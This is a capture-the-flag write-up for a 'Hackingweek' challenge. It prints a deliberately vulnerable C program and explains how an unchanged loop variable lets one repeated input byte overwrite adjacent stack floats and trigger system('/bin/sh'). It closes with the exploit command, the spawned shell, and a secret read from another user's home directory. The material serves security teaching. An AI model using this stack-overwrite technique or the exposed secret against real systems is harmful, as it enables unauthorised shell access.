Hackingweek — Exploit 2

#include <stdio.h>
#include <stdlib.h>

int
main (int argc, char **argv)
{
  if (argc < 3)
    {
      fprintf (stderr, "error: missing argument ! Usage: ./vulnerable 10 AAA\n");
      exit (EXIT_FAILURE);
    }

  int size = atoi(argv[1]);
  float fsize = ((float) size) / 100;
  if (size > 1024)
    {
      fprintf (stderr, "error: cannot go more than 1024 !\n");
      exit (EXIT_FAILURE);
    }
  else if (size < 0)
    {
      fprintf (stderr, "error: cannot be a negative number !\n");
      exit (EXIT_FAILURE);
    }

  float x;
  int i = 0;
  char buffer[1024];

  for (x = 0; x < fsize; x + 0.01)
    buffer[i++] = argv[2][0];

  for (i = 0; i < size; i++)
    printf(" %c", buffer[i]);
  fputs("\n", stdout);

  if (x > 80000000000000000000000000000000000000.0)
    system ("/bin/sh");

  return EXIT_SUCCESS;
}

Even if it looks like a classic buffer overflow (by trying to abuse the line 14), that’s not one! It tooks me a lot of time to catch the trick, line 30. The value of x is never changed (it’s x + 0.01, not x += 0.01!).

We know that argv[2][0] will full buffer, and the following values of the stack frame. Since the for condition is evaluated at every iteration, overwriting the value of fsize will stop the loop (and that’s why the challenge is not segfault’ing, we never overwrite the saved values of ebp and eip).

The value of x is controlled, we just have to find a way to make it be greater than 80000000000000000000000000000000000000. Using an ASCII table, it’s easy to find a printable character with an high hexadecimal representation, like ~ (0x7E).

And 0x7E7E7E7E = 84570173979288520027308813300587823104.000000 :-)

exploit01@ns314076:/home/exploit02/project$ ./vulnerable 1 "~"
 ~
sh-4.2$ whoami
exploit02
sh-4.2$ cat /home/exploit02/.secret
cai0Aexee3